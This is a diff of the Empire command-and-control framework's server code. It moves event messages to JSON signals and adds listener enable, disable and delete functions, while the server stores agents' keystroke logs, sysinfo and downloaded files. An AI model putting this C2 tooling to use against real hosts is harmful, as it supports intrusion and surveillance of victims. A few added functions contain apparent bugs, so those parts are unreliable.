message = "[!] Received error response from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
self.update_agent_results_db(sessionID, data)
|
self.update_agent_results_db(sessionID, data)
|
||||||
# update the agent log
|
# update the agent log
|
||||||
self.save_agent_log(sessionID, "[!] Error response: " + data)
|
self.save_agent_log(sessionID, "[!] Error response: " + data)
|
||||||
|
@ -1559,7 +1761,12 @@ class Agents:
|
||||||
# sys info response -> update the host info
|
# sys info response -> update the host info
|
||||||
parts = data.split("|")
|
parts = data.split("|")
|
||||||
if len(parts) < 12:
|
if len(parts) < 12:
|
||||||
dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender='Agents')
|
message = "[!] Invalid sysinfo response from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
else:
|
else:
|
||||||
print "sysinfo:",data
|
print "sysinfo:",data
|
||||||
# extract appropriate system information
|
# extract appropriate system information
|
||||||
|
@ -1603,9 +1810,13 @@ class Agents:
|
||||||
|
|
||||||
elif responseName == "TASK_EXIT":
|
elif responseName == "TASK_EXIT":
|
||||||
# exit command response
|
# exit command response
|
||||||
data = "[!] Agent %s exiting" % (sessionID)
|
|
||||||
# let everyone know this agent exited
|
# let everyone know this agent exited
|
||||||
dispatcher.send(data, sender='Agents')
|
message = "[!] Agent {} exiting".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# update the agent results and log
|
# update the agent results and log
|
||||||
# self.update_agent_results(sessionID, data)
|
# self.update_agent_results(sessionID, data)
|
||||||
|
@ -1626,7 +1837,12 @@ class Agents:
|
||||||
# file download
|
# file download
|
||||||
parts = data.split("|")
|
parts = data.split("|")
|
||||||
if len(parts) != 3:
|
if len(parts) != 3:
|
||||||
dispatcher.send("[!] Received invalid file download response from " + sessionID, sender='Agents')
|
message = "[!] Received invalid file download response from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
else:
|
else:
|
||||||
index, path, data = parts
|
index, path, data = parts
|
||||||
# decode the file data and save it off as appropriate
|
# decode the file data and save it off as appropriate
|
||||||
|
@ -1727,7 +1943,12 @@ class Agents:
|
||||||
safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
|
safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
|
||||||
savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
|
savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
|
||||||
if not os.path.abspath(savePath).startswith(safePath):
|
if not os.path.abspath(savePath).startswith(safePath):
|
||||||
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents')
|
message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
|
||||||
return
|
return
|
||||||
|
|
||||||
with open(savePath,"a+") as f:
|
with open(savePath,"a+") as f:
|
||||||
|
@ -1803,7 +2024,7 @@ class Agents:
|
||||||
self.save_agent_log(sessionID, data)
|
self.save_agent_log(sessionID, data)
|
||||||
|
|
||||||
elif responseName == "TASK_SCRIPT_COMMAND":
|
elif responseName == "TASK_SCRIPT_COMMAND":
|
||||||
|
|
||||||
self.update_agent_results_db(sessionID, data)
|
self.update_agent_results_db(sessionID, data)
|
||||||
# update the agent log
|
# update the agent log
|
||||||
self.save_agent_log(sessionID, data)
|
self.save_agent_log(sessionID, data)
|
||||||
|
@ -1811,7 +2032,27 @@ class Agents:
|
||||||
elif responseName == "TASK_SWITCH_LISTENER":
|
elif responseName == "TASK_SWITCH_LISTENER":
|
||||||
# update the agent listener
|
# update the agent listener
|
||||||
self.update_agent_listener_db(sessionID, data)
|
self.update_agent_listener_db(sessionID, data)
|
||||||
dispatcher.send("[+] Listener for '%s' updated to '%s'" % (sessionID, data), sender='Agents')
|
self.update_agent_results_db(sessionID, data)
|
||||||
|
# update the agent log
|
||||||
|
self.save_agent_log(sessionID, data)
|
||||||
|
message = "[+] Updated comms for {} to {}".format(sessionID, data)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
|
elif responseName == "TASK_UPDATE_LISTENERNAME":
|
||||||
|
# The agent listener name variable has been updated agent side
|
||||||
|
self.update_agent_results_db(sessionID, data)
|
||||||
|
# update the agent log
|
||||||
|
self.save_agent_log(sessionID, data)
|
||||||
|
message = "[+] Listener for '{}' updated to '{}'".format(sessionID, data)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID))
|
print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID))
|
||||||
|
|
1102
lib/common/empire.py
1102
lib/common/empire.py
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,74 @@
|
||||||
|
"""
|
||||||
|
Event handling system
|
||||||
|
Every "major" event in Empire (loosely defined as everything you'd want to
|
||||||
|
go into a report) is logged to the database. This file contains functions
|
||||||
|
which help manage those events - logging them, fetching them, etc.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
|
||||||
|
#from lib.common import db # used in the disabled TODO below
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Helper functions for logging common events
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
def agent_rename(old_name, new_name):
|
||||||
|
"""
|
||||||
|
Helper function for reporting agent name changes.
|
||||||
|
|
||||||
|
old_name - agent's old name
|
||||||
|
new_name - what the agent is being renamed to
|
||||||
|
"""
|
||||||
|
# make sure to include new_name in there so it will persist if the agent
|
||||||
|
# is renamed again - that way we can still trace the trail back if needed
|
||||||
|
message = "[*] Agent {} has been renamed to {}".format(old_name, new_name)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message,
|
||||||
|
'old_name': old_name,
|
||||||
|
'new_name': new_name
|
||||||
|
})
|
||||||
|
# signal twice, once for each name (that way, if you search by sender,
|
||||||
|
# the last thing in the old agent and the first thing in the new is that
|
||||||
|
# it has been renamed)
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(old_name))
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(new_name))
|
||||||
|
|
||||||
|
# TODO rename all events left over using agent's old name?
|
||||||
|
# in order to handle "agents/<name>" as well as "agents/<name>/stuff"
|
||||||
|
# we'll need to query, iterate the list to build replacements, then send
|
||||||
|
# a bunch of updates... kind of a pain
|
||||||
|
|
||||||
|
#cur = db.cursor()
|
||||||
|
#cur.execute("UPDATE reporting SET name=? WHERE name REGEXP ?", [new_name, old_sender])
|
||||||
|
#cur.close()
|
||||||
|
|
||||||
|
def log_event(cur, name, event_type, message, timestamp, task_id=None):
|
||||||
|
"""
|
||||||
|
Log arbitrary events
|
||||||
|
|
||||||
|
cur - a database connection object (such as that returned from
|
||||||
|
`get_db_connection()`)
|
||||||
|
name - the sender string from the dispatched event
|
||||||
|
event_type - the category of the event - agent_result, agent_task,
|
||||||
|
agent_rename, etc. Ideally a succinct description of what the
|
||||||
|
event actually is.
|
||||||
|
message - the body of the event, WHICH MUST BE JSON, describing any
|
||||||
|
pertinent details of the event
|
||||||
|
timestamp - when the event occurred
|
||||||
|
task_id - the ID of the task this event is in relation to. Enables quick
|
||||||
|
queries of an agent's task and its result together.
|
||||||
|
"""
|
||||||
|
cur.execute(
|
||||||
|
"INSERT INTO reporting (name, event_type, message, time_stamp, taskID) VALUES (?,?,?,?,?)",
|
||||||
|
(
|
||||||
|
name,
|
||||||
|
event_type,
|
||||||
|
message,
|
||||||
|
timestamp,
|
||||||
|
task_id
|
||||||
|
)
|
||||||
|
)
|
|
@ -52,7 +52,7 @@ import threading
|
||||||
import pickle
|
import pickle
|
||||||
import netifaces
|
import netifaces
|
||||||
import random
|
import random
|
||||||
from time import localtime, strftime
|
from datetime import datetime
|
||||||
import subprocess
|
import subprocess
|
||||||
import fnmatch
|
import fnmatch
|
||||||
import urllib, urllib2
|
import urllib, urllib2
|
||||||
|
@ -584,14 +584,22 @@ def get_datetime():
|
||||||
"""
|
"""
|
||||||
Return the current date/time
|
Return the current date/time
|
||||||
"""
|
"""
|
||||||
return strftime("%Y-%m-%d %H:%M:%S", localtime())
|
return datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
|
||||||
|
|
||||||
|
def utc_to_local(utc):
|
||||||
|
"""
|
||||||
|
Converts a datetime object in UTC to local time
|
||||||
|
"""
|
||||||
|
|
||||||
|
offset = datetime.now() - datetime.utcnow()
|
||||||
|
return (utc + offset).strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
|
||||||
def get_file_datetime():
|
def get_file_datetime():
|
||||||
"""
|
"""
|
||||||
Return the current date/time in a format workable for a file name.
|
Return the current date/time in a format workable for a file name.
|
||||||
"""
|
"""
|
||||||
return strftime("%Y-%m-%d_%H-%M-%S", localtime())
|
return datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||||
|
|
||||||
|
|
||||||
def get_file_size(file):
|
def get_file_size(file):
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
HTTP related methods used by Empire.
|
HTTP related methods used by Empire.
|
||||||
|
|
||||||
Includes URI validation/checksums, as well as the base
|
Includes URI validation/checksums, as well as the base
|
||||||
http server (EmpireServer) and its modified request
|
http server (EmpireServer) and its modified request
|
||||||
handler (RequestHandler).
|
handler (RequestHandler).
|
||||||
|
|
||||||
These are the first places URI requests are processed.
|
These are the first places URI requests are processed.
|
||||||
|
@ -14,6 +14,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
import BaseHTTPServer, threading, ssl, os, string, random
|
import BaseHTTPServer, threading, ssl, os, string, random
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
import re
|
import re
|
||||||
|
import json
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
import encryption
|
import encryption
|
||||||
|
@ -94,7 +95,17 @@ class RequestHandler(BaseHTTPRequestHandler):
|
||||||
name, sessionID = part.split("=", 1)
|
name, sessionID = part.split("=", 1)
|
||||||
|
|
||||||
# fire off an event for this GET (for logging)
|
# fire off an event for this GET (for logging)
|
||||||
dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
|
message = "[*] {resource} requested from {session_id} at {client_ip}".format(
|
||||||
|
resource=resource,
|
||||||
|
session_id=sessionID,
|
||||||
|
client_ip=clientIP
|
||||||
|
)
|
||||||
|
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
|
|
||||||
# get the appropriate response from the agent handler
|
# get the appropriate response from the agent handler
|
||||||
(code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource)
|
(code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource)
|
||||||
|
@ -122,7 +133,17 @@ class RequestHandler(BaseHTTPRequestHandler):
|
||||||
name, sessionID = part.split("=", 1)
|
name, sessionID = part.split("=", 1)
|
||||||
|
|
||||||
# fire off an event for this POST (for logging)
|
# fire off an event for this POST (for logging)
|
||||||
dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
|
message = "[*] Post to {resource} from {session_id} at {client_ip}".format(
|
||||||
|
resource=resource,
|
||||||
|
session_id=sessionID,
|
||||||
|
client_ip=clientIP
|
||||||
|
)
|
||||||
|
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
|
|
||||||
# read in the length of the POST data
|
# read in the length of the POST data
|
||||||
if self.headers.getheader('content-length'):
|
if self.headers.getheader('content-length'):
|
||||||
|
@ -138,12 +159,12 @@ class RequestHandler(BaseHTTPRequestHandler):
|
||||||
self.wfile.write(responsedata)
|
self.wfile.write(responsedata)
|
||||||
self.wfile.flush()
|
self.wfile.flush()
|
||||||
# self.wfile.close() # causes an error with HTTP comms
|
# self.wfile.close() # causes an error with HTTP comms
|
||||||
|
|
||||||
# supress all the stupid default stdout/stderr output
|
# supress all the stupid default stdout/stderr output
|
||||||
def log_message(*arg):
|
def log_message(*arg):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class EmpireServer(threading.Thread):
|
class EmpireServer(threading.Thread):
|
||||||
"""
|
"""
|
||||||
Version of a simple HTTP[S] Server with specifiable port and
|
Version of a simple HTTP[S] Server with specifiable port and
|
||||||
|
@ -162,7 +183,7 @@ class EmpireServer(threading.Thread):
|
||||||
self.server = None
|
self.server = None
|
||||||
|
|
||||||
self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
|
self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
|
||||||
|
|
||||||
# pass the agent handler object along for the RequestHandler
|
# pass the agent handler object along for the RequestHandler
|
||||||
self.server.agents = handler
|
self.server.agents = handler
|
||||||
|
|
||||||
|
@ -176,14 +197,25 @@ class EmpireServer(threading.Thread):
|
||||||
|
|
||||||
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True)
|
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True)
|
||||||
|
|
||||||
dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer")
|
message = "[*] Initializing HTTPS server on {port}".format(port=port)
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer")
|
message = "[*] Initializing HTTP server on {port}".format(port=port)
|
||||||
|
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.success = False
|
self.success = False
|
||||||
# shoot off an error if the listener doesn't stand up
|
# shoot off an error if the listener doesn't stand up
|
||||||
dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer")
|
message = "[!] Error starting listener on port {}: {}".format(port, e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
|
|
||||||
|
|
||||||
def base_server(self):
|
def base_server(self):
|
||||||
|
|
|
@ -12,6 +12,9 @@ import os
|
||||||
import pickle
|
import pickle
|
||||||
import hashlib
|
import hashlib
|
||||||
import copy
|
import copy
|
||||||
|
import json
|
||||||
|
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
|
||||||
class Listeners:
|
class Listeners:
|
||||||
"""
|
"""
|
||||||
|
@ -185,7 +188,7 @@ class Listeners:
|
||||||
i = 1
|
i = 1
|
||||||
while name in self.activeListeners.keys():
|
while name in self.activeListeners.keys():
|
||||||
name = "%s%s" % (nameBase, i)
|
name = "%s%s" % (nameBase, i)
|
||||||
|
|
||||||
listenerObject.options['Name']['Value'] = name
|
listenerObject.options['Name']['Value'] = name
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -193,13 +196,21 @@ class Listeners:
|
||||||
success = listenerObject.start(name=name)
|
success = listenerObject.start(name=name)
|
||||||
|
|
||||||
if success:
|
if success:
|
||||||
print helpers.color('[+] Listener successfully started!')
|
|
||||||
listenerOptions = copy.deepcopy(listenerObject.options)
|
listenerOptions = copy.deepcopy(listenerObject.options)
|
||||||
self.activeListeners[name] = {'moduleName': moduleName, 'options':listenerOptions}
|
self.activeListeners[name] = {'moduleName': moduleName, 'options':listenerOptions}
|
||||||
pickledOptions = pickle.dumps(listenerObject.options)
|
pickledOptions = pickle.dumps(listenerObject.options)
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("INSERT INTO listeners (name, module, listener_category, options) VALUES (?,?,?,?)", [name, moduleName, category, pickledOptions])
|
cur.execute("INSERT INTO listeners (name, module, listener_category, enabled, options) VALUES (?,?,?,?,?)", [name, moduleName, category, True, pickledOptions])
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
# dispatch this event
|
||||||
|
message = "[+] Listener successfully started!"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message,
|
||||||
|
'listener_options': listenerOptions
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, name))
|
||||||
else:
|
else:
|
||||||
print helpers.color('[!] Listener failed to start!')
|
print helpers.color('[!] Listener failed to start!')
|
||||||
|
|
||||||
|
@ -216,7 +227,7 @@ class Listeners:
|
||||||
oldFactory = self.conn.row_factory
|
oldFactory = self.conn.row_factory
|
||||||
self.conn.row_factory = helpers.dict_factory
|
self.conn.row_factory = helpers.dict_factory
|
||||||
cur = self.conn.cursor()
|
cur = self.conn.cursor()
|
||||||
cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners")
|
cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners WHERE enabled=?", [True])
|
||||||
results = cur.fetchall()
|
results = cur.fetchall()
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -246,9 +257,16 @@ class Listeners:
|
||||||
success = listenerModule.start(name=listenerName)
|
success = listenerModule.start(name=listenerName)
|
||||||
|
|
||||||
if success:
|
if success:
|
||||||
print helpers.color('[+] Listener successfully started!')
|
|
||||||
listenerOptions = copy.deepcopy(listenerModule.options)
|
listenerOptions = copy.deepcopy(listenerModule.options)
|
||||||
self.activeListeners[listenerName] = {'moduleName': moduleName, 'options':listenerOptions}
|
self.activeListeners[listenerName] = {'moduleName': moduleName, 'options':listenerOptions}
|
||||||
|
# dispatch this event
|
||||||
|
message = "[+] Listener successfully started!"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message,
|
||||||
|
'listener_options': listenerOptions
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, listenerName))
|
||||||
else:
|
else:
|
||||||
print helpers.color('[!] Listener failed to start!')
|
print helpers.color('[!] Listener failed to start!')
|
||||||
|
|
||||||
|
@ -259,6 +277,50 @@ class Listeners:
|
||||||
|
|
||||||
self.conn.row_factory = oldFactory
|
self.conn.row_factory = oldFactory
|
||||||
|
|
||||||
|
def enable_listener(self, listenerName):
|
||||||
|
"Starts an existing listener and sets it to enabled"
|
||||||
|
if listenerName in self.activeListeners.keys():
|
||||||
|
print helpers.color("[!] Listener already running!")
|
||||||
|
return False
|
||||||
|
|
||||||
|
oldFactory = self.conn.row_factory
|
||||||
|
self.conn.row_factory = helpers.dict_factory
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute("SELECT id,name,module,listener_type,listener_category,options FROM listeners WHERE name=?", [listenerName])
|
||||||
|
result = cur.fetchone()
|
||||||
|
if not result:
|
||||||
|
print helpers.color("[!] Listener %s doesn't exist!" % listenerName)
|
||||||
|
return False
|
||||||
|
moduleName = result['module']
|
||||||
|
options = pickle.loads(result['options'])
|
||||||
|
try:
|
||||||
|
listenerModule = self.loadedListeners[moduleName]
|
||||||
|
|
||||||
|
for option, value in options.iteritems():
|
||||||
|
listenerModule.options[option] = value
|
||||||
|
|
||||||
|
print helpers.color("[*] Starting listener '%s'" % (listenerName))
|
||||||
|
if moduleName == 'redirector':
|
||||||
|
success = True
|
||||||
|
else:
|
||||||
|
success = listenerModule.start(name=listenerName)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print helpers.color('[+] Listener successfully started!')
|
||||||
|
listenerOptions = copy.deepcopy(listenerModule.options)
|
||||||
|
self.activeListeners[listenerName] = {'moduleName': moduleName, 'options': listenerOptions}
|
||||||
|
cur.execute("UPDATE listeners SET enabled=? WHERE name=? AND NOT module=?", [True, listenerName, 'redirector'])
|
||||||
|
else:
|
||||||
|
print helpers.color('[!] Listener failed to start!')
|
||||||
|
except Exception as e:
|
||||||
|
traceback.print_exc()
|
||||||
|
if listenerName in self.activeListeners:
|
||||||
|
del self.activeListeners[listenerName]
|
||||||
|
print helpers.color("[!] Error starting listener: %s" % (e))
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
self.conn.row_factory = oldFactory
|
||||||
|
|
||||||
|
|
||||||
def kill_listener(self, listenerName):
|
def kill_listener(self, listenerName):
|
||||||
"""
|
"""
|
||||||
|
@ -267,7 +329,7 @@ class Listeners:
|
||||||
|
|
||||||
To kill all listeners, use listenerName == 'all'
|
To kill all listeners, use listenerName == 'all'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if listenerName.lower() == 'all':
|
if listenerName.lower() == 'all':
|
||||||
listenerNames = self.activeListeners.keys()
|
listenerNames = self.activeListeners.keys()
|
||||||
else:
|
else:
|
||||||
|
@ -287,7 +349,7 @@ class Listeners:
|
||||||
cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
|
cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
|
||||||
cur.close()
|
cur.close()
|
||||||
continue
|
continue
|
||||||
|
|
||||||
self.shutdown_listener(listenerName)
|
self.shutdown_listener(listenerName)
|
||||||
|
|
||||||
# remove the listener from the database
|
# remove the listener from the database
|
||||||
|
@ -296,6 +358,36 @@ class Listeners:
|
||||||
cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
|
cur.execute("DELETE FROM listeners WHERE name=?", [listenerName])
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
def delete_listener(self, listener_name):
|
||||||
|
"""
|
||||||
|
Delete listener(s) from database.
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
old_factory = self.conn.row_factory
|
||||||
|
self.conn.row_factory = helpers.dict_factory
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute("SELECT name FROM listeners")
|
||||||
|
db_names = map(lambda x: x['name'], cur.fetchall())
|
||||||
|
if listener_name.lower() == "all":
|
||||||
|
names = db_names
|
||||||
|
else:
|
||||||
|
names = [listener_name]
|
||||||
|
|
||||||
|
for name in names:
|
||||||
|
if not name in db_names:
|
||||||
|
print helpers.color("[!] Listener '%s' does not exist!" % name)
|
||||||
|
return False
|
||||||
|
|
||||||
|
if name in self.activeListeners.keys():
|
||||||
|
self.shutdown_listener(name)
|
||||||
|
cur.execute("DELETE FROM listeners WHERE name=?", [name])
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
print helpers.color("[!] Error deleting listener '%s'" % name)
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
self.conn.row_factory = old_factory
|
||||||
|
|
||||||
def shutdown_listener(self, listenerName):
|
def shutdown_listener(self, listenerName):
|
||||||
"""
|
"""
|
||||||
|
@ -327,6 +419,25 @@ class Listeners:
|
||||||
# remove the listener object from the internal cache
|
# remove the listener object from the internal cache
|
||||||
del self.activeListeners[listenerName]
|
del self.activeListeners[listenerName]
|
||||||
|
|
||||||
|
def disable_listener(self, listenerName):
|
||||||
|
"Wrapper for shutdown_listener(), also marks listener as 'disabled' so it won't autostart"
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
if listenerName.lower() == "all":
|
||||||
|
cur.execute("UPDATE listeners SET enabled=? WHERE NOT module=?", [False, "redirector"])
|
||||||
|
else:
|
||||||
|
cur.execute("UPDATE listeners SET enabled=? WHERE name=? AND NOT module=?", [False, listenerName.lower(), "redirector"])
|
||||||
|
cur.close()
|
||||||
|
self.shutdown_listener(listenerName)
|
||||||
|
# dispatch this event
|
||||||
|
activeListenerModuleName = self.activeListeners[listenerName]['module']
|
||||||
|
message = "[*] Listener {} killed".format(listenerName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/{}/{}".format(activeListenerModuleName, listenerName))
|
||||||
|
|
||||||
|
|
||||||
def is_listener_valid(self, name):
|
def is_listener_valid(self, name):
|
||||||
return name in self.activeListeners
|
return name in self.activeListeners
|
||||||
|
@ -399,3 +510,43 @@ class Listeners:
|
||||||
Return all current listener names.
|
Return all current listener names.
|
||||||
"""
|
"""
|
||||||
return self.activeListeners.keys()
|
return self.activeListeners.keys()
|
||||||
|
|
||||||
|
def get_inactive_listeners(self):
|
||||||
|
"""
|
||||||
|
Returns any listeners that are not currently running
|
||||||
|
"""
|
||||||
|
|
||||||
|
oldFactory = self.conn.row_factory
|
||||||
|
self.conn.row_factory = helpers.dict_factory
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT name,module,options FROM listeners")
|
||||||
|
db_listeners = cur.fetchall()
|
||||||
|
|
||||||
|
inactive_listeners = {}
|
||||||
|
for listener in filter((lambda x: x['name'] not in self.activeListeners.keys()), db_listeners):
|
||||||
|
inactive_listeners[listener['name']] = {'moduleName': listener['module'],
|
||||||
|
'options': pickle.loads(listener['options'])}
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
self.conn.row_factory = oldFactory
|
||||||
|
return inactive_listeners
|
||||||
|
|
||||||
|
|
||||||
|
def update_listener_options(self, listener_name, option_name, option_value):
|
||||||
|
"Updates a listener option in the database"
|
||||||
|
|
||||||
|
try:
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT id,options FROM listeners WHERE name=?', [listener_name])
|
||||||
|
listener_id, result = cur.fetchone()
|
||||||
|
options = pickle.loads(result)
|
||||||
|
if not option_name in options.keys():
|
||||||
|
print helpers.color("[!] Listener %s does not have the option %s" % (listener_name, option_name))
|
||||||
|
return
|
||||||
|
options[option_name]['Value'] = option_value
|
||||||
|
pickled_options = pickle.dumps(options)
|
||||||
|
cur.execute('UPDATE listeners SET options=? WHERE id=?', [pickled_options, listener_id])
|
||||||
|
except ValueError:
|
||||||
|
print helpers.color("[!] Listener %s not found" % listenerName)
|
||||||
|
cur.close()
|
||||||
|
|
|
@ -220,14 +220,14 @@ def display_agent(agent, returnAsString=False):
|
||||||
print ''
|
print ''
|
||||||
|
|
||||||
|
|
||||||
def display_active_listeners(listeners):
|
def display_listeners(listeners, type = "Active"):
|
||||||
"""
|
"""
|
||||||
Take an active listeners list and display everything nicely.
|
Take an active listeners list and display everything nicely.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if len(listeners) > 0:
|
if len(listeners) > 0:
|
||||||
print ''
|
print ''
|
||||||
print helpers.color("[*] Active listeners:\n")
|
print helpers.color("[*] %s listeners:\n" % type)
|
||||||
|
|
||||||
print " Name Module Host Delay/Jitter KillDate"
|
print " Name Module Host Delay/Jitter KillDate"
|
||||||
print " ---- ------ ---- ------------ --------"
|
print " ---- ------ ---- ------------ --------"
|
||||||
|
@ -265,7 +265,8 @@ def display_active_listeners(listeners):
|
||||||
print ''
|
print ''
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] No listeners currently active ")
|
if(type.lower() != "inactive"):
|
||||||
|
print helpers.color("[!] No listeners currently %s " % type.lower())
|
||||||
|
|
||||||
|
|
||||||
def display_active_listener(listener):
|
def display_active_listener(listener):
|
||||||
|
|
|
@ -13,11 +13,11 @@ HMACc = first 10 bytes of a SHA256 HMAC using the client's session key
|
||||||
|
|
||||||
Routing Packet:
|
Routing Packet:
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| 4 | 16 | RC4 length |
|
| 4 | 16 | RC4 length |
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
|
|
||||||
RC4s(RoutingData):
|
RC4s(RoutingData):
|
||||||
+-----------+------+------+-------+--------+
|
+-----------+------+------+-------+--------+
|
||||||
| SessionID | Lang | Meta | Extra | Length |
|
| SessionID | Lang | Meta | Extra | Length |
|
||||||
|
@ -44,12 +44,12 @@ HMACc = first 10 bytes of a SHA256 HMAC using the client's session key
|
||||||
+------+--------+--------------------+--------------------+-----------+
|
+------+--------+--------------------+--------------------+-----------+
|
||||||
| 2 | 4 | 2 | 2 | 2 | <Length> |
|
| 2 | 4 | 2 | 2 | 2 | <Length> |
|
||||||
+------+--------+--------------------+----------+---------+-----------+
|
+------+--------+--------------------+----------+---------+-----------+
|
||||||
|
|
||||||
type = packet type
|
type = packet type
|
||||||
total # of packets = number of total packets in the transmission
|
total # of packets = number of total packets in the transmission
|
||||||
Packet # = where the packet fits in the transmission
|
Packet # = where the packet fits in the transmission
|
||||||
